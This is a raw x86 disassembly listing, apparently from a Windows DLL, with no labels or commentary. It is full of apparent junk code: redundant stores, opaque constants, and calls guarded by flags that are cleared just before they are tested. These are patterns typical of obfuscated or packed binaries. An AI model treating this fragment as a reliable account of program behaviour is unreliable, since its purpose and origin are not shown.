mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x28], 0xe9bf9f36
push esi
call fcn.1000b098
push esi
lea ecx, [ebp - 0x61c]
mov dword [ebp - 4], 4
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x14], edx
jmp 0x10036e62
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x724]
mov dword [eax + ecx*4], 0xb0815898
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036e4f
mov dword [ebp - 0x14], edx
xor edx, edx
inc edx
jmp 0x10036e7e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x61c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10036e6f
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x10]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add eax, 0x17ca
imul edx, eax
mov eax, dword [ebp - 0x2c]
inc eax
imul edx, eax
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], ecx
jmp 0x10036ecd
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 0xfffffff6
dec dword [eax]
mov dword [ebp - 0x44], 0xb90f9986
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jle 0x10036eae
lea ecx, [ebp - 0x61c]
call fcn.1000b285
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x724]
call fcn.1000b285
push 5
pop eax
xor ecx, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], ecx
jmp 0x10036f0a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x438], 0x56834504
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10036ef9
mov dword [ebp - 0x10], ecx
jmp 0x10036faa
push 2
lea ecx, [ebp - 0x484]
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x18], edx
jmp 0x10036f3b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x484]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10036f2c
mov byte [ebp - 0x2d], dl
cmp byte [ebp - 0x2d], dl
je 0x10036f59
push 0x1aaf
push edx
push edx
push 0x590
call ebx
xor edx, edx
mov esi, dword [ebp - 0x484]
mov dword [esi + 4], 1
mov byte [ebp - 0x2d], dl
cmp byte [ebp - 0x2d], 0
je 0x10036f83
push edx
push 0x741
push 0x74b
push 0x16e7
call edi
xor edx, edx
mov eax, dword [esi + 4]
mov ecx, dword [ebp + eax*4 - 0x438]
mov eax, dword [ebp - 0x10]
dec dword [esi + 4]
mov dword [ebp + eax*4 - 0x438], ecx
jns 0x10036f66
lea ecx, [ebp - 0x484]
call fcn.1000b285
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 1
jle 0x10036f18
xor ebx, ebx
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], bl
je 0x10036fc5
push ebx
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
mov dword [ebp - 0x10], 0x13b91020
xor ecx, ecx
mov dword [ebp - 0x2c], 2
inc ecx
mov dword [ebp - 0x10], ebx
jmp 0x10036fe8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xcc], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10036fdb
mov dword [ebp - 0x10], ebx
mov eax, 0xbe7e5505
cmp dword [ebp - 0x10], 0xffffffeb
jg 0x100370d1
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x18], 0xfffffff7
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x10]
sub ecx, 0x60a4
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1a8]
cmp ecx, eax
mov eax, dword [ebp - 0x1a8]
setl dl
sub edx, eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x1a8], ebx
jne 0x10037087
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x18], 0x7a2e4284
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
cmp ecx, eax
mov eax, dword [ebp - 0x1a8]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xbe7e5505
setl cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffeb
jle 0x10036fff
xor ecx, ecx
inc ecx
push 3
pop esi
mov dword [ebp - 0x2c], esi
push ecx
mov dword [ebp - 0x10], 0xfffffffb
lea ecx, [ebp - 0x73c]
mov dword [ebp - 0x28], 0xe9bf9f36
call fcn.1000b098
push 5
pop eax
push 1
lea ecx, [ebp - 0x574]
mov dword [ebp - 4], eax
call fcn.1000b098
xor edx, edx
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1003711f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x73c]
mov dword [eax + ecx*4], 0xb0815898
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003710c
mov dword [ebp - 0x14], ebx
jmp 0x10037138
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x574]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10037129
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x10]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
add eax, 0x17ca
imul edx, eax
mov eax, dword [ebp - 0x2c]
inc eax
imul edx, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], ebx
jmp 0x10037185
cmp dword [ebp - 0x10], ebx
jle 0x10037166